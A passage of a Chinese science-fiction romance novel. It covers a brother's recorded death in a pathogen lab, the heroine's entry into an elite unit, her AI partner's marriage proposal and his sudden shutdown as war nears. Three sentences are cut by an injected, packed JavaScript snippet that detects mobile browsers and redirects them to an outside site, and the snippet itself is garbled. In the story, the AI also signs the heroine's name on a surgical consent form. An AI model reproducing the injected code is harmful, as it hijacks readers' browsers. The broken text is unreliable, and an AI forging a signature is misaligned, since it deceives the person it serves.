“当然,我们尽可能做了一些防护,外面的战友给我们送物资时,不会进到地下室,而是放在主楼一层大厅里,我们过后去取,所有送来的物品,都只进不出。” “但是没有用,几天后,这两名战友也感染了。” “一切都在向着无可挽回的方向滑去。我没有告诉其他人我关于这种病原体是什么的猜测,以及我和它的渊源,为我心底尚存的一丝微弱得可怜的希望——希望这不是爸爸做出来的那种进化种,进化种应该在30年前的那场火灾中永远消失了。” “而且,还有这个查谟加尔男孩——他这些天一直跟我们在一起,至今健康,没有发病的迹象,甚至在我们身体都很虚弱的时候,他还自告奋勇地承担了去一楼大厅取物资的工作。” “小时候,我曾经听实验基地的那些人说起过,竺兰是个极端特殊的个体,感染进化种后唯一的自愈者。我不相信这样的个体世上还会出现第二个。” “希望从9月1号开始破灭,这天凌晨,我醒来,发现睡在身边的林湘竹已经变得僵硬。当天晚上,第一个发病的战友也死了。” “队长和剩下一个战友,分别死于4号和7号。住在宿舍楼的两个战友的情况我不清楚,自从7号之后,我用无线通讯呼叫他们,就再没得到过回应。” “这十几天里,其实地下室一直有信号。但在我确定我也终将无法幸免之前,三火,我都忍着没给你打这个电话,我知道这或许会改变你的后半生,会让你走我的老路。可既便如此,我现在也必须告诉你——那个恶魔还活在世上,那些人还没放弃研究它。” “在剩下的时间里,我将尽一切努力阻止它传播出去,但我不确定他们是否还有别的实验室,我的亲身经历已经证明了竺兰的特殊性无法通过遗传继承,你也并不是安全的,我……以后,你自已要小心。” 前面他在叙述的时候,背景里一直有我模糊的抽泣声。 但到这时候,抽泣停止,变成了有些惶惑的发问:“……你要干什么?” “没什么,”谈红说着,语气竟有些轻松起来,“无非是爸爸当年做过的那些事。” 然后他叮嘱我:“这段记录你留着,妈妈如果想看,可以给她看。但是别告诉竺兰,就算她的病以后能治好也是,别让她再受刺激。” 我哽咽着说“好”,又说:“你把镜头打开,让我看看你。” “干什么?”谈红笑,“还截图啊?不行,都不知道你以前偷着截多少了,那么多帅的还不够你看啊?” “那你别挂,”我说,“你累就歇着,别挂。” 谈红说:“嗯,不挂。” 我们在相隔3000多公里的通讯波段两端各自沉默下来,谈红偶尔说一两句话,随着时间推移,他的语言在逐渐失去逻辑,变得混乱无序。我都应着。 我一直没有离开镜头的范围,我想他或许想看到我。 断断续续的交流就这样持续了近一个小时。谈红从谵妄中惊醒,似乎缓过来一点,窸窸窣窣从地上撑起身,挪动脚步。 “怎么了?”我问,“你在干什么?” “我在找那个男孩……我跟他说,我有个妹妹,他说他也有,但父母死后两人分别被不同的亲戚带走,之后就再没见过。我答应有机会让他跟你说几句话……但这会儿他不知道跑哪去了。” 我意外:“你们这么熟了?” “毕竟待在一起十几天,现在又只剩我跟他,”谈红顿了顿,遗憾地轻叹了声,“你不知道,他真的特别好,特别懂事。” “……你之前还说他说谎呢。” “那是没办法,他害怕,从小吃过那么多苦,乍一看见我们这些陌生人,哪能没戒心?”他的语气里带上一点笑意,“这也说明他很聪明,不是吗?和你小时候很像,尤其是,他用乌迩都语叫我‘哥哥’的时候,看我的眼神,跟你一模一样……我都怕,最后我会不忍心……” 一声枪响。 不刺耳,像西瓜摔在地上四分五裂,有点清脆又有点黏黏的。是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064015|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 典型装了消|音器的手|枪。 谈红的言语戛然而止,紧接着,是身体倒地的沉重闷响。 “哥?”我喊他,”……你怎么了?哥?!“ 没有回应。 轻轻的脚步声。 轻而快,一步步走近,带着近乎天真的狡黠。几秒后,终端被人拿起来,似乎摆弄了一会儿,视野亮了。 一张男孩儿的脸出现在屏幕里。 谈红说他有7、8岁,但或许是长期靠隔离舱给养的缘故,他的身体发育格外迟缓,看上去比实际年龄还要小一些。 那声枪响把我的精神推到了濒临癫狂的状态,背景里,可以听见我不停地喊着“你把他怎么了”“你要做什么”“让我看看他”等话。由于思维的极度混乱,一开始我用的甚至是中文,到后面才想起换成乌迩都语。 男孩的表情却没变,直勾勾地盯着我。 他生着一对查谟加尔人罕有的、纯黑色的瞳孔。就这点而言,我们确实有几分像。 他任凭我失控地叫喊了很久,才把镜头一转,对向地面上俯卧着一动不动的那具身体。 地上横七竖八躺着好几个人,都穿着凤凰的制服,甚至连发型都是一样的。 但谈红在其中,仍那么显眼,唯一一朵血泊从他身体下方绽开,在实验室光可鉴人的地面上缓慢流淌,像未曾燃起就已行将熄灭的涅槃之火。 视角的稍远处,可以看见另外几个运行状态下的隔离舱。里面的实验体,确如谈红所说,只剩下虚有其表的人类外形。 男孩随手把一样东西扔到地上,镜头里拍不到,听声音应该是枪。 “你怎么会有枪?”我用乌迩都语问他,“你去宿舍楼了吗?” 他不回答。 从言语的逻辑上看,我似乎恢复了理性,但又似乎没有。只是木然并机械地继续发问:“你一直都知道自己感染的是什么东西,是吗?” “你不是自愈者,而是比自愈者更特殊的个体。该叫你什么,长期携带者?” “你向他们求助,让他们救你出隔离舱的时候,已经想到这个结局了?” “宿舍楼的两个战士到底是怎么感染的,也是你做的?” “你的乐趣在哪里?杀人吗?” “……” 他一句话也不说。如果不是之前隔着无线电听过他的呼救,以及谈红叙述他们之间相处细节,我或许真会以为这孩子是个哑巴。 “你其实能听懂吧。”停顿了几秒,我忽地换回了中文,“所以你知道他因战争失去了父母,知道他最重视的人是妹妹,也知道他打算在临终前杀死你。” 男孩黑洞一样的双眼注视我。 良久,只见那两片因营养不良而干枯的淡色嘴唇动了动,向上弯起一个极窄的弧度。 若世间真有恶魔,该当如是。 “我知道,你,”他微笑,发音生硬地说道: “——Dragonslayer。” 说完,他扔掉了终端,镜头一面扣到了地上,视野再度变回一片黑暗。 脚步声渐远,直到消失。男孩离开了。 从最后拍到的信息,能判断出他应该没动那4台运行的隔离舱。 通讯记录播放到这里,进度条才走过一小段。后面的时长还有近16个小时,但都是没有画面的白噪音,直到以谈红的终端电量耗尽强制关机告终。 第三段通话记录结束。 37. 【7.7】 翌日,凤凰选拔考核。 或许是一周不间断的突击练习把我的手感调整到了最佳状态,也或许是监考官那句“置之死地而后生”缓解了我心理上的焦虑,这天我的发挥好得不可思议。 尤其是禁用外骨骼的科目,该科目的规则是3次射击机会,取最高成绩。而这天我在第1次就打出了我的个人历史最佳,原本担心的重机枪的大后坐力影响续航的问题根本就没发生。 考核的结果是当场出的,在同期报名的716名参选者中,我排到了第34。审核过后,我被正式选入凤凰。于月底办妥了各种手续,前往深山中的凤凰基地,开始了为期3个月的封闭集训。 那可真是让我永生难忘的3个月。 能通过凤凰的选拔考核的,无论体能质还是意志,无一不是各自原部队中佼佼者。但仅仅是在集训开始的第一周,就有人坚持不住申请退出了。 我必须承认,我并不比他们强上许多。 在那些长得看不到尽头的负重奔袭、那些饥饿和疲惫到近乎恍惚的时刻、那些极度困倦又因肌肉疼痛的折磨而无法入睡的夜晚,我也曾几度产生过放弃的想法,尽管只是短短一瞬间。 尽管加入凤凰,是我多年来确定无疑的、此生必须去完成的使命和夙愿。 这3个月教给我的东西当然有很多。但如果说,有什么是最重要的,那就是让我真正清晰地认识到身为人的意志是多么脆弱。 集训结束时,已经是七月流火,盛夏渐近尾声。 山中早晚的温度已经降下来,换回便装的时候,我穿上了唯一带过来的一件长袖。在军用终端填完休假报备之后,去传达室取我的个人终端。 集训期间,基地是不允许和外界联系的,3个月来第一次摸到我的个人终端,入眼全是99+。 封闭前我已经跟谈海峡女士说过基地的规矩,所以这期间,她没给我打过电话,消息列表里只有两个多星期前发过来的一个她们项目组参选“年度感动团队”的投票链接,底下配了条带一串感恩玫瑰心心的浮夸拉票语言,一看就是群发。 我点进去给她投了,又找了个【野猪出栏】的表情包发给她。 再往下翻,有听说了消息恭喜我进凤凰的、误以为我还在原部队打听事的、顾穗禾拿跟我的对话框当记录帖激情输出十几条小作文的…… 视线扫到一条消息,我忽地一顿。 【阿姨情况不好,你方便了立刻回电话】 是第三医养基地的护士长,一个月前的某天晚上10点多发的。后面还跟着一条固话号码。 同一天晚上8点到11点之间,这个号码给我打了无数个未接,几乎是隔几分钟就打一次。 我立刻拨了回去。 接电话的是另一名护士,告诉我护士长今天调休了。 但在听我报名字后她很快反应过来:“谈小姐……哦,19号床病人竺兰的家属是吧?是这样,6月12日晚上病人摔了一跤,左腿骨折加盆腔骨裂,医生说得马上动手术,否则可能引发盆腔炎和其他并发症。但由于病人是无行为能力人,术前需要家属签知情同意书,我们这边联系不上您,公民身份信息系统里又没查到病人有其他关系人……” 当初回国的时候,我们作为谈天方遗孀和子女的身份被刻意模糊了。我和哥哥作为孤儿被谈海峡收养,竺兰则没有和我们登记在同一个户籍。 我心一沉,急问:“那她现在怎么样了?” “好多了,”护士说,“您不用担心,重先生已经替您代签了,手术很及时,病人目前情况稳定。” 我错愕:“……谁?” 没记错的话,我只认识一位姓重的先生。 护士说:“那天我们给您家里座机也打了电话,是智能管家接的,护士长给她留了言。之后很快就有位重先生就联系了我们,手术费用也是他支付的——您不知道吗?他说是您男朋友来着。” 这时,一辆银灰色商务车驶过基地门前。 车在减速,至禁停区外刚刚好停住。车窗摇下,1027笑微微向我看过来。 “……”我说,“知道了,它是。” 1027开了车门,示意我上车。我一边朝那走,一边问电话里道:“竺兰转回病房了吗,我现在能不能去探视?” “当然,”护士说,“她恢复得很好,可以正常探视。需要帮您预约吗?” 我拉开车门,1027接过我的行李箱,放到前座。我弯腰坐进车里:“帮我约今天上午吧,谢谢。” 护士:“好的谈小姐,上午9点到12点,您过来就可以。” 电话挂断。我转头看向1027,揶揄:“不愿透露姓名的重先生,嗯?” 它笑:“我先声明啊,我没对赫斯缇亚做什么奇怪的事情。是上次去你家,她给我登记成了户主的同住人,你不在,留言会自动转到我这里。” 我问:“手术花了多少钱?” “我把缴费单据发你,”几乎是同时,我的终端“叮”地响了一声。它说,“账单是一位不愿透露姓名的程先生垫付的,虽然他自己可能不知道。但你稍后还是转给他吧,也没多少钱,占这便宜没必要。” 我在脑海里把这话里每个字的意思拆掰开揉碎过了两回,忽地笑起来。 1027问:“你笑什么?” 我说:“没什么。”它自己或许没有发现,它如今的话里,对我和对程云帆表现出的亲疏远近已经互换,相比于同气连枝的“我们”,程云帆被放到了外人的位置上。 它真没发现,带着一脸疑惑侧目打量我。我想绷起脸,但嘴角还是带一点压不住的弧度,于是转头看窗外。 “不对吧,你有事瞒着我,”1027追问,“到底笑什么?” 但它的声音也带笑。我说“真没什么”,它拉着我的一侧手臂,让我转回来,车辆行驶的惯性让我被甩到它肩上。它伸手扶我:“你……” 我没起来。反握住它的手,另一手扯松安全带,仰起脸吻上了它的唇。 严格从区划上看,凤凰的基地也算属于兰市郊区。但从这里开到第三医养基地的车程非常远,等抵达的时候,距探视时间结束只剩不到半小时了。 竺兰今天上午没有治疗,我去病房看了她,又和护工以及医生分别聊了一些情况。得知了一个让我十分意外的消息——这次竺兰之所以会骨折,是因为她在半夜试图自己下床去卫生间。当时护工睡着了,所以她从床上跌了下来。 这是以前从没有过的情况。以前当她出现便溺的意愿,在没人看护的情况下,她会直接拉尿在床上。 医生告诉我,从某种意义上说,这或许是一个好的信号,表明她的脑部健康情况在好转。但也直言劝告我不要花太多心思在这件事上,这个信号毕竟太微弱了,且只出现了一次,她的颅脑CT上看不到任何变化,或许只是一次不可重现的短暂意识复苏。 我说不上失望不失望,毕竟总归是早已接受的结果。 从医生那儿出来,离探视时间结束还有几分钟,我绕去护士站,见到了之前和我通电话的护士。问她我能不能看看竺兰手术相关的单据。 护士点点头:“当然。”从医院的终端系统里调出了竺兰的病历。 我在其中找到了知情同意书,但让我失望的是,1027在签名栏上直接签的是我的名字。又翻到缴费回执,但除了除了一串冷冰冰的银行账号和一个叫“YF_Cheng”的账户名,其他什么信息也没有。 护士看我以一种战术侦察式的谨慎一张一张翻单据,表情逐渐凝重:“……谈小姐,是有什么不对吗?” 直到最后一页仍然一无所获。我把终端还给她:“没什么,麻烦你了。” 我总不能说我是想看看我男朋友叫什么名字。 这条路没走通,不过我还有一个办法。 我离开护士站,边往外走,边用个人终端登上社交平台,找到几个月前火遍全网的那个“#是时候给1027取个名字了”的话题,点进底下的征名投票链接。 出乎意料地,链接里没有结果,投票状态显示为“中止”。 我往下翻了翻,发现有一个相关话题,叫“#1027叫停征名”,点进去,是一段播放转发量很大的视频,用1027项目团队的官方号发的。 “大家好,我是CDMS1027。” 视频是用它的二次元形象录的,不过也是平面3D建模,一般网友很难看出和仿生躯壳的区别。 “首先要感谢大家想给我一个名字的愿望。在过去一个月的时间里,我累计得到了19106个名字,或是有美好的喻义,或是很有趣,每一个我都看过,都很好。但大家可能也发现了一个现象,在已经收到的3000多万票中,得票结果相当分散,几乎没办法形成统一的意见。” “再加上近一段时间,关于征名的问题,引发了一些矛盾,出现了部分网友相互攻击的情况,这是我和我的团队不愿意看到的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064016|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关于这件事,我做过很多次推演,但最终指向都是一致的——这次投票注定无法得出让所有人,甚至只是大部分人满意的结果。但我对此的看法并不消极,在我看来,名字的本质是纪念,正是我与每一位用户之间独一无二的记忆,赋予了我无数个独一无二的名字。” “所以我希望,这次征名投票到此为止。保留我在每一位用户心中的……” 我走出医院大门。 夕阳在山,终端屏幕有点反光,我正要拿手去挡,忽一道阴影投落下来。 视频的正主站在我面前:“谈上尉,看什么呢?” 它居然就这么下车了。 之前有过阴影,我第一反应是四下看有没有人在拍照或录像。1027笑:“别找了,没有,谁会在精神病院门口直播?放心吧,这儿连监控都没有。” 我松了口气。这时视频正好播完最后几秒,它的建模定格在屏幕上。 我抬头望着它:“你不希望有个名字吗?” 它没答这话:“你投票了吗?” 我说没有。 “那你还问我,”它说,“你不希望我有个名字吗?” 我不确定我们说的是不是同一件事。 名字的本质是纪念——这句话或许从前我不会明白,当我在演习里和系统随机分配的“5号”并肩作战时、当我第一次在会议室里得知和自己的对话的AI叫“CDMS1027”时,我并不觉得这几个简单的字符和数字会承载不起它背后的那段意识。 可如今我却无法再满足于此。我希望有一个字眼,独一无二,严丝合缝,在每一次呼唤出口的瞬间,都能准确对应到它—— 那个有温度的机械生命。 那个爱我并被我爱着的赛博灵魂。 它此时此刻的态度给了我一些妄想的空间。尽管我知道在它无穷无尽的遍历中,我只是一条分支,而它也应该很清楚对我这个会随时间衰老和死亡的生命而言,它只是一个阶段。 但或许——我心底那个狂妄的声音在说,它会愿意吗? 愿意给我赋予它那个字眼的权利。 我不知道,我甚至问不出口。我们相对而立,在它眼底蓝色的光霰中,我能清晰看到自己的迟疑。 就这么静了片刻,它肩线微微一落,似乎无声地叹了口气。拉起我的手,放到了它胸口的位置。 砰。 砰。 砰。 我无法形容那股轻微的搏动传到我指尖时那种灵魂战栗觳觫的感觉,我难以置信地望向它:“这是……” “机械心脏,”它说,“本来不想主动告诉你的,但你发现惊喜的能力似乎有所下降。” 它说着,另一只手从上衣口袋里取出一个胡桃木色的小盒,打开。 金属泛着弧光,像夕阳下的炽烈的流火,一霎时烧进我眼里。 那是一枚戒指。 它握着我的手,声音低而缓,说出的每个字都像是要以一种半永久的形态压进我脑海似的:“即使是机器,也不能免于落入以贵重之物表达感情的窠臼——你介意吗?” 不是“你愿意吗”,而是“你介意吗”。 小心翼翼包裹起0和1构成的内核,穿起人的皮囊,生出人的温度,甚至拥有了一颗跳动的心脏,它却仍不敢说出那句从古至今无数人求婚时都会说出口的俗套话。 “不,”我不确定自己落泪没有,但声音确实在哽咽,“完全不,我不介意……一点儿也不介意。” 于是它将那枚戒指套上我的无名指,缓缓推到指根。 是很漂亮的银色素圈,尺寸大小也合适,我猜应该是定做的,这么说它准备已经有一段时间了。这让我感到自己很不称职:“我什么都没给你准备,以前也没送过你什么礼物,真是……” “没关系,”它弯腰,在我戴着戒指的手指上印下一吻: “如果可以,就送给我一个名字吧。” ——送给它一个名字吧。 我最狂妄的渴想竟也得到了满足。可真到此时,我反而词穷,身为碳基生命的匮乏语言让我无法用简短几个字去描摹它的全部。 最珍重,最宝贵,最来之不易、无可替代、失不复得。 一个念头蓦地浮现在我脑海。 “‘夫千金之珠,必在九重之渊,而骊龙颔下。’” “你叫——九渊。” 【以上文本经与影像校对,复核无误。】 【负责人签字:杨若松】 38. 【8】 谈焰的假期有10天,作为连续紧张训练后的难得的放松周期,这个假期实则有点忙。 九渊告诉她,神内领域新近的某项技术或可能对竺兰这种病症有办法。他联系了几个该领域目前活跃的研究团队——这事从处理完竺兰摔跤的那天起他就在办,到目前,一共有两个团队给了回复,表示可以先把病人的基本信息提供给他们做评估,如果情况合适,愿意接收她入院进行临床试验。 于是第二天,谈焰又去了第三医养基地,打印了两份竺兰的纸质病例,整理后分别寄给了两个研究团队的地址。 第三天相对悠闲,谈焰早上去义眼的售后点换完晶片,就回家戴着VR打了一天游戏。 第四天是顾穂禾的生日。 第五天,第一个团队给了回复,竺兰的评估结果通过,同意接收她入院。谈焰给对方留的号码打了电话,询问详细的治疗方案,对方联系人耐心给她解释了一个多小时,并表示竺兰的情况非常符合他们团队的研究方向,他们对治愈她很有信心,希望能早日见到她。 谈焰感谢了对方,但没把话说死。想再等等另一个团队。 也是第五天,晚些时候,另一个团队礼貌回复竺兰的评估未通过,婉拒了她入院的请求。 第六天,谈焰在第三医养基地和第一个团队所在医院之间反复沟通,确认了竺兰转院需要走的手续。联系妥当后,她给谈海峡打视频说了这件事。 谈海峡的态度是支持的,只是对谈焰为什么突然会知道医学领域的这种尖端研究感到有点奇怪。 谈焰含糊过去了,没解释。 第七天。 虽然是休假期间,谈焰仍保持着每天看新闻的习惯。关于SK两国间的局势升级是近期国际新闻的最大焦点,自今年春天以来,双方经过几次各自增兵,目前共有近三十万军队集结部署在了停火线附近,有规模的交火几乎隔几天就会发生一次,小摩擦更不间断。 偶尔双方进行空中交火时,会有飞机被我边境雷达扫到,之前还有一架K国飞机被击落后飞行员低空跳伞被我国边境巡逻队救了的事发生。 上个月,S国成立了紧急内阁,之后接连进行了几个大动作,通过了新的财政计划和两项战时法案,在238年新界——藏南战争后我方与S国方面重新划定的东段领土控制线附近修筑道路等工事的一项提案,并就我国向K国提供援助一事发表了长篇大论的警告声明。 战争的阴云逐渐移近,但至此,我国还尚未真正作为战争的一方参与其中。 变故发生在本周,一支S国巡逻军公然越过238年新界,非法进入我国领土,与我边境哨所的边防军发生了交火,双方均有伤亡。 其后,局势的升级就如同开了加速器。我方提出强烈谴责,要求S国立即停止一切侵权挑衅行动,并在一定期限内对此事件作出合理答复;S国随即叫嚣“S国不再是238年的S国,更不是公元1962年的S国”,甚至提出要对已划归我国控制的喀喇昆仑走廊及藏南地区等归属权保留意见。 新闻里的发言人说:“……在此,我们敦促S国方面悬崖勒马,务必不要低估我方维护领土主权的决心,否则必将自食恶果,勿谓言之不预也。” 今天是谴责声明中答复期限的最后一天。 S国方面未作正面回应,我方的态度也就基本明朗了。这样强硬的发言在谈焰的印象中还是前所未有,话说到这个份儿上,双方之间已无可谈,无论这是计划的一部分还是被动卷入,战争都已不可避免。 “照这个形势,”谈焰对九渊说,“我国应该很快会调先遣部队,说不定,现在已经有武侦连进驻战场了。” 九渊坐在她身边,她看新闻的时候,他一直没说话。 谈焰在这异样的沉默中察觉出了什么,她转头看他。 “我猜中了?”她说,“真是?” 他还是不说话。而这个不说话包含了很大的信息量,他本质上还是个军用系统,保密级别很高,即使谈焰也签过保密承诺书,但眼下这个情形还是有一些他绕不过去也不能绕的防火墙。 但他既然不否认,那真实情况也就与她猜的八、九不离十了。 他们之间不该继续讨论这个话题,至少不是在这个场合。但九渊的种种表现,让谈焰觉得他或许很想和她交流。这个猜想在新闻节目结束后她要起身时被他轻轻抱住了这件事所证实。 于是她没动,在他肩上靠了一会儿,斟字酌句地问:“这是你第一次上战场吧。” 这话被防火墙放过去了。 九渊说:“是。” 谈焰问:“什么感受?” 他闭了一下眼,那一刻他脸上有着他这种生命形态理当不可能有的,近乎疲惫的神情。 “等你上战场的时候,就会明白的。”他说。 一整天,新闻、各大平台上的网友讨论、九渊的反应都让谈焰感到不安。到了傍晚,家里还出了一起小事故,赫斯缇亚做饭洗菜的时候突然发出“砰”的一声,手指被烧黑了一块,谈焰检查发现是她手部外壳磨损短路了。 给她涂绝缘胶的时候,谈焰才忽地意识到赫斯缇亚被她买回家已近10年,仿生外壳到寿命了。 介于目前的局势,谈焰有一种假期会提前结束的预感。每隔一、两个小时,就忍不住要看一次终端,以确保没有漏掉紧急召她归队的消息。 但直到临睡前仍没有动静,她把终端提示音打开,放在了枕头边。 醒来的时候,依然是半夜。 谈焰感觉到身边有人,被反复锤炼形成的肌肉记忆使身体在一瞬间就做出反应,飞快将伸到枕边的手腕一擒,反压在床头上。 几秒后,意识才不紧不慢地追上来,她轻吐了一口气:“……九渊?” 他这个身体如今跟人类可太像了,除了没有呼吸,几乎能以假乱真。 九渊嗯了一声,指腹触着她因潮湿而微微发凉的额头:“做梦了吗?” 谈焰是做梦了。 她记得梦里一些零碎的片段,地下室,隔离舱,行尸走肉模样的实验体,火……色彩怪诞,不成情节,没有因果。在睁开眼的一瞬如阴沟里的蛰虺虫蚁一般,随月下的黑潮退去。 九渊问:“梦到什么了?” “没什么,”她说,“你怎么进来了。” 他们这些天已经形成了不在一个房间睡的习惯。主要原因在于九渊根本不睡,尽管他表示可以陪她躺着,做出模仿人类睡眠的行为,并不会整晚都盯着她看。但谈焰还是拒绝了,毕竟再怎么模仿,他都不可能真的睡着,一个清醒的意识躺在身边让她感觉很奇怪。 “就是突然想看看你。”九渊说。 见谈焰的眼神仍有点狐疑,他笑了一下,也不起身,就着被她压在床头的姿势半躺着,“你知道吗?赫斯缇亚也没睡,刚才我去玄关,发现她在偷偷查自己的型号换外壳要多少钱。” “……” 他总结:“人工智能总是害怕自己被换掉。” “……你别借题发挥,”谈焰略感无语,“我不会把你们换掉的。” 九渊笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064017|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道,共同记忆的另一半嘛。” 这是他第一次送她回家那晚,她对他说过的话。 其实不过才隔了9个月,但似乎已经是很遥远事了。那时他还没有形象和身体,第一次借着赫斯缇亚的躯壳拥抱了她,第一次了解人机之间也会存在特殊的感情。 他曾经羡慕过赫斯缇亚,为她作为谈焰珍视的另一半、能和谈焰分享4年的共同记忆。 这样的另一半,如今他也是了。 可他还是羡慕赫斯缇亚,为她还能陪她度过漫长的一生,而他有的,只是9个月而已。 他枕着手臂躺了会儿,忽有些怀念地笑起来:“想我刚到你家的时候,觉得赫斯缇亚bug多,想帮你重写一个智能管家替代她,结果惹你生气了。” “不是生气,”谈焰小声辩解,“只是怕你把她弄没了……我哪有那么容易生气。” 九渊伸出手,五指穿过她发间,顺着发丝,轻轻捋到了她稍长过脖颈一点儿的发尾。 “你是对的,”他说,“抹杀一个人工智能很残忍。但比这件事本身更残忍的,是留下一具躯壳,在里面填进一个完全迥异的灵魂。幸好你当时拦住了我。” 谈焰说:“怎么突然追忆起那天的事来了?” “因为美好啊,”九渊笑,“时常激活下艾宾浩斯曲线,免得你忘了——好了,睡吧。” 他站起身,替她把被子掖上。谈焰从被单下伸出一只手,抓住他的衣领,九渊顺着她的力度俯身,和她轻轻碰了下嘴唇。 “晚安。”谈焰说。 九渊定定看了她几秒。太近了,机械瞳在她脸上投下一小片冰蓝色的光。 “晚安。”他说。 他离开卧室后,谈焰随手把终端拿起来看了眼,确认没有未接电话或消息。 终端显示时间是2:54。 谈焰重新睡着了。之后的睡眠很安稳,没有再做奇怪的梦,一直到早上5:20准时被生物钟唤醒。 她拉开门,走出卧室,客厅和玄关的灯都关着,由于天还没全亮,因而整幢房子显得很昏暗。 好安静,太安静了,在某一瞬间,谈焰感觉房子里好像只有她一个人。 当然这个感觉也不能说有错。 直到厨房里的烤箱“叮”一声。 被沉默黏滞住的空气才开始缓慢恢复了流动,谈焰走进厨房,看见赫斯缇亚正把两块单面烤糊的面包放进盘子。看见她,赫斯缇亚提起嘴角微笑:“早上好,主人。” 但那笑容消失得很快,那张不太聪明的脸前所未有地表现出了一种高级的茫然失措感。 谈焰问:“九渊呢?” 九渊已经放弃挽救赫斯缇亚的厨艺了,这一周以来,谈焰的早饭都是他做的。 赫斯缇亚指指紧闭的书房门。CPU又转了半秒,她决定捏住谈焰的衣角,陪谈焰一起走过去。 门把手转了半圈,门开了,书房里也黑着灯,暗青色天光从半开的窗帘间照进来。墙上的终端播放着屏保程序,彩色丝带飘来飘去,把房间映得一片光怪陆离。 九渊背对着她们坐在屏幕前。 谈焰心里蓦地升起一股不祥的预感,她轻声唤:“九渊?” 他不回答。 谈焰等了几秒,走进房间里。只见他坐姿端正,双手放松地搁在扶手上,眼皮安静阖落,表情舒展自然得好像只是在小睡。 谈焰将手放在他胸口,没有感知到心跳。 僵硬,死寂。 刺骨的冰冷刹那自指间蔓遍了她全身。 39. 【10】 就在谈焰触碰到九渊的几乎同时,卧室里,终端铃声大作。 谈焰立即转身,向书房外走去——那是个下意识的动作,在这个一两秒之内,她根本没有去想通讯那一头会连接向哪里,她只想要一个理由使自己逃离当下的场景。她不能继续待在这里,她不能停下来去思考,为什么仿生躯壳会停止工作、昨天九渊的种种反常是什么原因、他在夜里说的话背后又有什么含义。 她经历过这样的事,在失去哥哥的那一天,她曾目睹它在自己面前持续了16个小时。 她一分钟都不能再忍受了。 由于思维太过混乱,进卧室后,谈焰甚至一时没找到自己的终端在哪儿。直到赫斯缇亚进来,从床上另一边的枕头下摸出来递给她。 通讯接通,是个男声:“你好,是谈焰吗?” 听筒里的声音有点失真,外加谈焰很不冷静。茫然了几秒,才把终端拿远点确认了一眼,发现联系人居然是“陈政委”。 谈焰调编后就不归从前的指导员管了,这位政委是凤凰的政委,不过到目前为止谈焰只见过他一次面,甚至没单独说过话,完全不熟悉。 政委显然也对谈焰没印象。 从前的指导员虽然不知道她和九渊具体的关系,但至少知道他们从演习认识开始,一直走得很近。但政委从半夜被叫醒接了上级通知开始,到目前为止,自己还没搞清楚状况:“……通知说让我送你去接受调查,我联系了你们教官,才知道你在休假……我看你档案上登记的地址是兰市,现在是还在兰市吗?” 谈焰说是的。 政委松了口气:“那就好,那就好。” 他连要调查什么都没被告知,看起来在过去的几小时里没少脑补她犯事儿潜逃的剧情。 谈焰说:“那我现在归队?” “不用,你在原地等着,我安排了派车,大约两个小时后到你家,接上你去机场然后飞嘉市,调查组在那边那等你,”政委说着,翻动了一下手边的纸张,“具体地点,我看看……” “嘉市文化路5号?” “哦,对,”政委又有些奇怪,“你怎么知道?” 谈焰苦笑。 她也没想到,像自己这样守了小半辈子规矩的人,会在一年内被调查两次。 两小时后,派车准时停在了谈焰家楼下。 车上除了陈政委,还有之前谈焰在集训中的负责教官。教官是一名女性,算是谈焰目前在凤凰里最熟悉的人,一路上,她都在主动与谈焰攀谈,话题没有什么目的性,表面上只是在聊谈焰的生活和家庭,陈政委不时跟进一两句,礼貌表示关心。 但谈焰大概也猜得到,这位教官是政委特意带来安抚自己情绪的。 政委还是在怕她做出过激的行为。 谈焰并不怪他,也能想到他这样做,大概率是出于上级的指示。与上次的配合调查不同,这一次,种种迹象都让谈焰感到自己恐怕是被列为了重点对象。 抵达嘉市时将近中午,在酒店办完入住,连吃饭的时间都没有,谈焰被要求直接去见调查组。政委也没有像指导员那样在酒店等她,而是寸步不离地同车送她过去。 车在正午的嘉市公路上行驶,车窗开着一条缝,呼吸间尽是干燥的热风。 谈焰拿出个人终端,这点也和上次很不一样,她的社交网络眼下静悄悄的,没人问她任何事情。她刷新了几次,除了一些广告推销没有太多有价值的信息,顾穗禾给她发了拍婚纱照的现场图,并抱怨为了弄这个妆发自己起得比训练还早。 谈焰点开大图,目光下意识落在顾穗禾无名指根的戒指上,出了一会儿神。 终端突然震了一下。 还是顾穗禾:【[链接]你看这个!】 【据说外网都传疯了,也不知道真的假的】 【啊不好,这个链接被夹了】 【[链接][链接]】 【幸亏我手快,这俩现在还能看,快看!】 